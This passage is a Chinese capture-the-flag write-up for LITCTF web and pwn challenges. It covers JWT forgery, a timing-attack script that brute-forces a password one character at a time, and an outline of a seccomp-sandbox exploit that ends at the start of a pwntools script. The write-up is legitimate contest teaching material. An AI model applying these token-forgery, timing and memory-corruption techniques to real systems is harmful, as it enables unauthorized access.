点击蓝字
关注我们
声明
本文作者:CTF战队
本文字数:23413字
阅读时长:约40分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
❝
LIT (Lexington Informatics Tournament) is a competitive programming tournament for contestants of all levels, hosted by members of the LexMACS club along with many guest problemsetters/testers.
WEB
anti-inspect
❝
can you find the answer?
WARNING: do not open the link your computer will not enjoy it much. URL: http://litctf.org:31779/
Hint: If your flag does not work, think about how to style the output of console.log
你能找到答案吗?
警告:不要打开链接,你的电脑不会喜欢它。
URL:http://litctf.org:31779/提示:如果您的标志不起作用,请考虑如何设置console.log的输出样式
把%c删掉即可
LITCTF{your_fOund_teh_fI@g_94932}
JWT1
❝
I just made a website. Since cookies seem to be a thing of the old days, I updated my authentication! With these modern web technologies, I will never have to deal with sessions again. Come try it out at http://litctf.org:31781/.
我刚刚创建了一个网站。由于Cookie似乎已经过时了,我更新了我的身份验证!有了这些现代网络技术,我再也不用处理会话了。来试试吧http://litctf.org:31781/.
没有加密部分的校验,把内容改了就可以通过检测
JWT2
❝
its like jwt-1 but this one is harder URL: http://litctf.org:31777/
它类似于jwt-1,但这个URL更难:http://litctf.org:31777/
过认证就有 flag本地运行一下,然后复制过去
在代码中找到secert然后jwt伪造即可
程序中的加密代码与 jwt.io 可能存在差异,导致一些 name 无法被正确解析
expectedSignature = crypto.createHmac('sha256', jwtSecret).update(header + '.' + payload).digest('base64').replace(/=/g, '');
可以正常解析加密的 name
不能正常解析的
traversed
❝
I made this website! you can’t see anything else though… right?? URL: http://litctf.org:31778/
我创建了这个网站!但你看不到其他东西。。。正确的网址:http://litctf.org:31778/
kirbytime
❝
Welcome to Kirby’s Website.
欢迎来到Kirby的网站。
import sqlite3
from flask import Flask, request, redirect, render_template
import time
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def login():
message = None
if request.method == 'POST':
password = request.form['password']
real = 'REDACTED'
if len(password) != 7:
return render_template('login.html', message="you need 7 chars")
for i in range(len(password)):
if password[i] != real[i]:
message = "incorrect"
return render_template('login.html', message=message)
else:
time.sleep(1)
if password == real:
message = "yayy! hi kirby"
return render_template('login.html', message=message)
if __name__ == '__main__':
app.run(host='0.0.0.0')
这里没有看到在哪用了 sqlite3 我的想法按位爆破,根据时间比较
import requests
import time
url='http://34.31.154.223:58802'
code="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+`-={}|:"<>?[]\;',./"
for i in code:
starTime=time.time()
payload={"password":"kB"+i+"****"}
r=requests.post(url,data=payload)
print(i+" "+str((time.time()-starTime)))
if((time.time()-starTime)>2):
print(i)
kBySlaY LITCTF{kBySlaY}
Pwn
w4dup 2de
❝
Not much. Flag is in flag.txt. Connect with nc litctf.org 31771.
不多。标志位于Flag.txt文件中。请访问nc litctf.org 31771。
有沙箱,还有一处的栈溢出,最大的难题在于没有输出函数来泄露地址,但是有read可以改任意地址的内容,这里考虑通过libseccomp
中的plt表中的write来完成泄露 首先可以看到seccomp_init
和plt靠的很近,做4比特的爆破就能覆盖低2位来使seccom_init的plt指向write的plt,接着调用seccom_init就在调用write了泄露出libc后就改bss段执行权限,写shellcode,栈迁移即可
from pwn import *
s = lambda data :io.send(data)
sa = lambda tag,data :io.sendafter(tag, data)
sl = lambda data :io.sendline(data)
sla = lambda tag,data :io.sendlineafter(tag, data)
r = lambda num=4096 :io.recv(num)
ru = lambda tag, drop=True :io.recvuntil(tag, drop)
p = lambda s: print(' 33[1;31;40m%s --> 0x%x